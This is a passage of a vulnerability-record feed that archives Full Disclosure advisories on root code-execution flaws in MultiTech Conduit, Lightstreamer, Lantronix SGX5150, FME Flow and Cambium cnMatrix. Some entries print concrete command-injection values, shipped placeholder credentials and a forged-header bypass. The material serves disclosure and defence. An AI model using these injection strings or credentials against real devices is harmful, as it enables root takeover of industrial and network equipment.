rather than echoed, so the injection is blind at the protocol level and\nconfirmation rests on a server-side artefact.\n\nAuthentication: authenticated administrator. No factory default credentials exist;\nthe administrator account is provisioned by the deployer at commissioning. An\nexhaustive review of the unauthenticated surface found no route to this sink\nwithout a valid admin session, so the finding is scoped as post-authentication.\n\nVerification boundary, stated plainly. Verified end to end by emulation only:\nthe root filesystem extracted from the AEP 6.3.6 firmware image was run under\nqemu-arm-static inside a chroot and started through its angel supervisor, with no\nphysical Conduit device used at any point. Against the running daemon in socket\nmode with an admin session established from a non-loopback REMOTE_ADDR, the upload\nreturned {\"code\":200,\"status\":\"success\",\"type\":\"upload\"} and produced a root-owned\nmarker containing uid=0(root) gid=0(root) groups=0(root), while a benign filename\nreturned HTTP 400 and created nothing. AEP 6.3.0 is evidenced by patch diff (the\nimport_config handler is unchanged); the claimed range 6.3.0 through 6.3.6 follows\nfrom that endpoint comparison and the intermediates were not each executed.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/multitech-conduit-import-config-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","description":"CWE-78","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/77"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/77"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/multitech-conduit-import-config-command-injection"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/77"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] MultiTech Conduit AEP 6.3.6 Authenticated import_config filename command injection to root RCE (7.2)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0429","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/77","automated":true,"contentSha256":"6a701ee26cc5f333e8fdfe4cc3580f3f8aed7541a3bd50bad3ea64789fc5b3ea","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/77","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:54:58Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0429"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Lightstreamer Server","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in\nLightstreamer Server 7.4.8 build 3506 (with JMS Extender 2.1.0).\n\nType: unauthenticated JMX inspection console allowing an anonymous caller to\ninvoke any MBean operation, reaching jvmtiAgentLoad on\ncom.sun.management:type=DiagnosticCommand to load and run a native agent\nlibrary inside the broker JVM (CWE-306, CWE-345, CWE-20, CWE-250, CWE-1188)\n\nScoring. This finding is dual-scored on one documented delivery precondition,\nand both figures are published rather than a single headline number:\n- PRIMARY, 8.1 High, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. This is the\n conservative figure for an attacker with network access only: the agent\n library must be delivered to a filesystem path by means outside this endpoint.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This\n is the shipped-default exposure where the precondition is ALREADY satisfied,\n that is a native shared object is already reachable at a filesystem path the\n attacker names. Exploitation is then one deterministic HTTP request. The 9.8\n figure is conditional, not the primary rating, and is not the headline.\n\nImpact: native code execution inside the Lightstreamer JVM as the service\nprocess, inheriting that process's full identity. In the verified deployment the\nprocess ran as uid=0(root), so the executed commands ran as root; root is not\nclaimed to be a factory-mandated identity, it is whatever account launched the\nservice. The shipping configuration sets Y\nand Y even though the adjacent comments claim the\ndefault is N, and the only remaining check is a Referer header matching the\ntarget host, which any HTTP client forges.\n\nAuthentication: unauthenticated (no credential of any kind).\n\nVerification boundary, stated plainly. We verified the MBean-invocation and\nnative-code-execution legs against a research-host deployment reached over\nloopback (HTTP 200 with \"return code: 0\", marker files recording uid=0(root),\nand id/whoami commands chosen by the HTTP client at send time). The native\nagent library, however, was already present on disk, placed beforehand over an\nauthenticated root session. jvmtiAgentLoad takes a filesystem path and fetches\nnothing (http:// and file:// were both treated as literal strings), so the\nfully remote chain including payload delivery is NOT demonstrated by this\nadvisory; what is proven unauthenticated is the request leg, not the delivery\nleg.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/lightstreamer-unauth-jmx-jvmti-agentload-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-1188","description":"CWE-1188","lang":"en","type":"CWE"},{"cweId":"CWE-20","description":"CWE-20","lang":"en","type":"CWE"},{"cweId":"CWE-250","description":"CWE-250","lang":"en","type":"CWE"},{"cweId":"CWE-306","description":"CWE-306","lang":"en","type":"CWE"},{"cweId":"CWE-345","description":"CWE-345","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/76"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/76"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/lightstreamer-unauth-jmx-jvmti-agentload-rce"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/76"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Lightstreamer Server 7.4.8 Unauthenticated JMX jvmtiAgentLoad native code execution (8.1)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0428","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/76","automated":true,"contentSha256":"af37376d816e13e6b5bf8b6fcf305fb28809a5e1aeabc0bb9cbb83dd790ded8f","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/76","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:54:43Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0428"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Lightstreamer Server","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in\nLightstreamer Server 7.4.8 build 3506 ENTERPRISE (with JMS Extender 2.1.0).\n\nType: a hard-coded placeholder credential shipped in the distribution\n(user_changeme / password_changeme) authenticating a cleartext RMI management\nconnector on TCP 8888 bound to every interface; because the connector exposes\ncreateMBean, an attacker registers javax.management.loading.MLet and calls\ngetMBeansFromURL against an origin they control, and the loaded MBean's\nconstructor runs Runtime.exec (CWE-798, CWE-319)\n\nScoring. This finding is dual-scored because remote reach depends on the\nshipped placeholder being left unchanged. Both figures are published:\n- PRIMARY, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This\n applies with the shipped placeholder credential unchanged, which is how the\n distribution archive delivers it (byte-identical to the deployed file, with no\n documented first-login rotation gate).\n- CONDITIONAL, 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. This\n applies where an operator has rotated the credential but createMBean and MLet\n remain exposed: the step then needs a genuinely privileged account.\n\nImpact: arbitrary command execution as the broker process user, which was root\nin the tested deployment. Configuration, TLS material and keystores, streamed\napplication data and any other credential configured in lightstreamer_conf.xml\nare all reachable; the payload MBean stays registered for the JVM lifetime as a\npersistent command channel.\n\nAuthentication: none beyond the shipped placeholder pair (empty and wrong\ncredentials were both rejected with SecurityException, so the defect is the\ncredential's provenance, not a bypassable check).\n\nVerification boundary, stated plainly. We verified the chain end to end over\nloopback against a broker unpacked from the distribution archive and started as\nroot, with the attacker HTTP origin simulated on the same research host: four\nruns (three against the jmxrmi platform MBean server, one against the lsjmx\napplication MBean server), an out-of-band HTTP access log proving a uniquely\nnamed JAR was really fetched rather than cached, runCmd returning uid=0(root)\nand a root-owned proof file. Remote cross-network reach is an assessment of the\nshipped bind topology (TCP 8888 binds 0.0.0.0 because is\ncommented out, with no host firewall rule dropping it), not an observed attack\ncrossing a network boundary. The one genuine precondition is that the operator\nhas not replaced the shipped placeholder pair.\n\nThis is a distinct defect from the separate unauthenticated jvmtiAgentLoad\nprimitive we are disclosing in the same product; it reaches code execution via\nremote Java class loading rather than a native agent load.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/lightstreamer-default-creds-jmx-rmi-mlet-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-319","description":"CWE-319","lang":"en","type":"CWE"},{"cweId":"CWE-798","description":"CWE-798","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/75"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/75"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/lightstreamer-default-creds-jmx-rmi-mlet-rce"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/75"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Lightstreamer Server 7.4.8 Shipped placeholder JMX/RMI credentials plus MLet remote class loading to root RCE (9.8)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0427","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/75","automated":true,"contentSha256":"c0ead204cdcd3e07b31c2b843bc604bf06fdfba1aca02a384eb03f8cef062308","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/75","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:54:28Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0427"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"SGX5150","vendor":"Lantronix","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in Lantronix\nSGX5150, firmware 9.13.0.0R7, an IT/OT device server.\n\nType: authenticated OS command injection (CWE-78) in the FsBrowseClean AJAX\nhandler (0x5eea0) of /bin/ltrx_evo. A per-character filter blocks & | < ; ! $\nbackslash backtick and > but permits single quote, hash and newline. The path\nPOST parameter is concatenated into /sbin/ltrx_usb_umount '%s' and run through\n/bin/sh -c as root. Sending path=x'%0a%20%23 closes the quoted argument,\nopens a new shell line carrying the attacker's command, and comments out the\ntrailing quote. The sink is blind.\n\nScoring. This finding is dual-scored, and the conditional figure is NOT\nverified, which is stated rather than glossed:\n- PRIMARY, adopted, 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.\n PR:H rests on a genuine privileged web session being required.\n- CONDITIONAL, NOT verified, 9.8 Critical,\n CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Applies only if the device\n serial number is obtainable, which would make the factory administrator\n password (recorded as serial-derived) no secret and the chain effectively\n unauthenticated. Serial recovery was NOT verified, and neither was the\n derivation itself.\n- SEPARATE secondary defect, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, reachable only where Digest \nauthentication is configured: the\n Digest username extractor at 0xff838 verifies no nonce, realm or response, so a\n forged Authorization: Digest username=\"admin\" header alone sets the identity to\n admin. This is independent of, and not additive to, the primary finding.\n\nScoring note. The research record attached 8.8 to the PR:H vector. That vector\ncomputes to 7.2, not 8.8 under CVSS 3.1; this advisory recomputes from the vector\nprinted beside it and reports 7.2, keeping 8.8 only as a labelled PR:L\nhypothetical (no lower-privileged account passing the filesystem write test was\nenumerated, so it is not claimed).\n\nImpact: root execution on an industrial gateway (ltrx_evo runs as root), giving\nfull read of configuration and serial traffic, arbitrary root modification,\npersistent implantation, total availability loss and a pivot into segmented\nnetworks.\n\nAuthentication: an authenticated web session satisfying\nIsGroupListWritable(identity, \"filesystem\"); the session precondition is static\nanalysis, not dynamically verified.\n\nVerification boundary, stated plainly. No physical SGX5150 hardware was used at\nany point; verification is sink-faithful rather than full-stack. The character\nfilter, the IseUSB gate and the sink construction were replicated in a chroot of\nthe extracted ARM rootfs under qemu-arm-static, and the injected newline vector\npassed the product's own filter and ran as root via the product's own /bin/sh and\nmarker owned by root:root. End-to-end HTTP against a live daemon was not\nachievable, because ltrx_evo requires NVRAM state, the encrypted factory.xcr\ndevice-serial material and a ZMQ IPC stack that could not be reconstructed\noutside the device.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/lantronix-sgx5150-fsbrowseclean-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","description":"CWE-78","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/74"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/74"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/lantronix-sgx5150-fsbrowseclean-command-injection"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/74"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Lantronix SGX5150 9.13.0.0R7 Authenticated FsBrowseClean command injection to root RCE (7.2)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0426","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/74","automated":true,"contentSha256":"d6670722639ae6e018f6457e300ad3ae04f054ec188213319fd7740f05872762","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/74","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:54:13Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0426"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Fme Flow","vendor":"Safe","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in Safe\nSoftware FME Flow 2026.2 build 26333.\n\nType: path-traversal write inside archive extraction (Zip-Slip) in\nCOM.safe.web.upload.StoreManager.extract(), shipped in\nclients-webservicesutil-1.0.jar (CWE-22). The sink builds each destination path\nfrom ZipArchiveEntry.getName() verbatim; commons-compress 1.26.2 does not\nnormalise \"..\", and the class's own canonical containment check isPathValid() is\ncalled only from the constructor, never from the extraction path.\n\nScoring. This finding is dual-scored, and the conditional figure is a\nnon-default configuration that is published alongside the primary, not instead\nof it:\n- PRIMARY, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This is the\n post-authentication rating: any authenticated user, including the\n low-privilege fmeuser and fmeguest roles, can drive it. The upload branch that\n sets opt_extractarchive=true performs no role or isPermitted check.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This\n applies only where a public app is published with requireAuthentication=false\n and allowTemporaryUploads=true, which is NOT a shipped default. The 9.8 figure\n is conditional and is not the headline.\n\nImpact: arbitrary file write anywhere the Tomcat process can write, outside the\nupload sandbox (create-only; an existing destination file is neither truncated\nnor overwritten). On a default single-machine Windows install the repository root\nand WEBAPPSDIR share one ancestor volume, so the write reaches an expanded web\napplication's document root; with unpackWARs=true, no /* servlet mapping in\nfmeserver.war, and Tomcat installed as the FMEFlowAppServer service running as\n.\\LocalSystem, requesting the dropped .jsp yields command execution as\nLocalSystem. This is a low-privilege-to-LocalSystem escalation.\n\nAuthentication: authenticated (any valid token; no role check on the archive\nextraction branch).\n\nVerification boundary, stated plainly. We verified the vulnerable code itself,\nnot a deployed installation. A harness compiled against the exact jars that ship\nwith FME Flow 2026.2 called the real StoreManager.extract on a Linux lab host\nagainst Tomcat 10.1.42 on loopback; a zip entry name carrying enough \"../\"\nwrote a .jsp outside the sandbox and the container then compiled and executed\nit (marker recorded uid=0 on the Linux host). A complete Windows FME Flow\ninstallation was NOT deployed (it requires PostgreSQL plus a product licence), so\nthe end-to-end HTTP delivery chain rests on the decompiled source rather than on\na live run against the product. On Windows the Tomcat service identity is\n.\\LocalSystem, established from installer artefacts (configureTomcat.bat and the\nMSI property FMEFLOWUSER=LocalSystem) rather than observed; the expected\nproduction marker is whoami = nt authority\\system.\n\nThis is distinct from the previously published HTTP path-traversal fixes in this\nproduct, whose \"..\" sequences travel in the request URL and are collapsed by the\ncontainer's normalisation. Here the traversal travels inside zip entry names in\nthe request body, which URL normalisation never inspects, so those fixes do not\ncover this vector.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-22","description":"CWE-22","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/72"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/72"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/72"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] FME Flow 2026.2 Zip-Slip arbitrary file write to code execution as LocalSystem (8.8)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0425","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/72","automated":true,"contentSha256":"23651f5ffa5d040159cb766682384ddd2f9c01320025ebb98c968b5e813f4900","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/72","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:53:59Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0425"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"cnMatrix EX3024F","vendor":"Cambium","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in the Cambium\ncnMatrix EX3024F managed switch, firmware 6.2.1-r4.\n\nType: OS command injection (CWE-78, with CWE-20 bearing on it because\npercent-decoding is the only processing applied; CWE-250/CWE-269 bear on\nremediation priority). The COMMON_NAME form field submitted to\nPOST /iss/specific/ssl_digitalcert.html is extracted by HttpGetValuebyName,\npercent-decoded by issDecodeSpecialChar, copied with strncpy(buf, COMMON_NAME,\n100) and interpolated unfiltered into the double-quoted -subj \"%s\" argument of an\nopenssl req command string that the management daemon ISS.exe hands to system().\nFive functions stand between the HTTP parser and the sink and none validate the\ndata. A subject of \";id;echo \" closes the quote and injects a statement; the\ndaemon runs as root, so the injected command does too.\n\nScoring. This finding is dual-scored, with the deployment-conditional upper\nbound published alongside the verified baseline:\n- PRIMARY baseline, 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. A\n valid administrative session is required; the page is gated by a server-side\n session table plus an administrator privilege check that is on by default.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. A\n deployment-conditional upper bound where an installation retains a default,\n weak or publicly known administrator password, a common condition for network\n switches; the privilege prerequisite collapses in practice while the technical\n chain is unchanged.\n\nThe advisory does not adopt the recorded vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nwith its paired 8.8, because the analysis documents an administrator-only check\nrather than any-low-privilege-user access, so PR:H (7.2) is the faithful metric.\nA 9.1 scope-changed reading is also rejected: the compromised OS and the daemon\nsit inside one authorization domain, the daemon being already root over that OS.\n\nImpact: root command execution on a managed switch, a forwarding-plane device\nrather than only a management plane: full compromise of configuration and keys,\ninstallation of a persistent backdoor that survives reboot, a pivot into adjacent\nsegments, and live manipulation or denial of the traffic it carries.\n\nAuthentication: post-authentication administrator.\n\nVerification boundary, stated plainly. Confirmation used an extracted firmware\nimage under qemu-aarch64-static user-mode emulation. Because the daemon cannot\ncomplete initialisation without the Marvell switch ASIC driver and never binds an\nHTTP port in emulation, the real shipped sink function (SslGenCertRequest) was\ninvoked directly under debugger control with the payload an HTTP POST would\ndeliver; it returned 0 and wrote a 36-byte root-owned marker containing\nuid=0(root) gid=0(root). End-to-end HTTP exploitation against a device was NOT\nperformed and no physical hardware was used. The five-handler HTTP-to-sink path\nis proven statically by decompilation and cross-reference, not by an observed\nnetwork request. Any model or firmware revision beyond EX3024F 6.2.1-r4 is\ninference and unconfirmed.\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/cambium-cnmatrix-ssl-csr-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-20","description":"CWE-20","lang":"en","type":"CWE"},{"cweId":"CWE-250","description":"CWE-250","lang":"en","type":"CWE"},{"cweId":"CWE-269","description":"CWE-269","lang":"en","type":"CWE"},{"cweId":"CWE-78","description":"CWE-78","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/70"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/70"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/cambium-cnmatrix-ssl-csr-command-injection"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/70"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Cambium cnMatrix EX3024F 6.2.1-r4 SSL CSR COMMON_NAME command injection to root RCE (7.2)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0424","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/70","automated":true,"contentSha256":"1432ddd5efb94e1fd31e8f24bdf9084ce610345f06a6ed2de63e30ff2060564d","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/70","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T04:53:44Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0424"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Game Music Emu","vendor":"Game Music Emu Project","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"advisories"}],"descriptions":[{"lang":"en","value":"----------------------------------------------------------------------------\nNotCVE Advisory — NotCVE-2026-0019\n----------------------------------------------------------------------------\n\n[-] Summary:\nAn out-of-bounds read in the VGM command interpreter of game-music-emu\n(libgme), the open-source video game music emulation library, allows an\nattacker who supplies a crafted .vgm or .vgz file to read heap memory past\nthe end of the buffer holding the file. The read happens as soon as\nplayback begins. CVSS:3.1 5.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L).\n\n[-] Affected:\ngame-music-emu (libgme) through 0.6.5 (present in 0.6.0, 0.6.3 and 0.6.5),\nand master as of commit 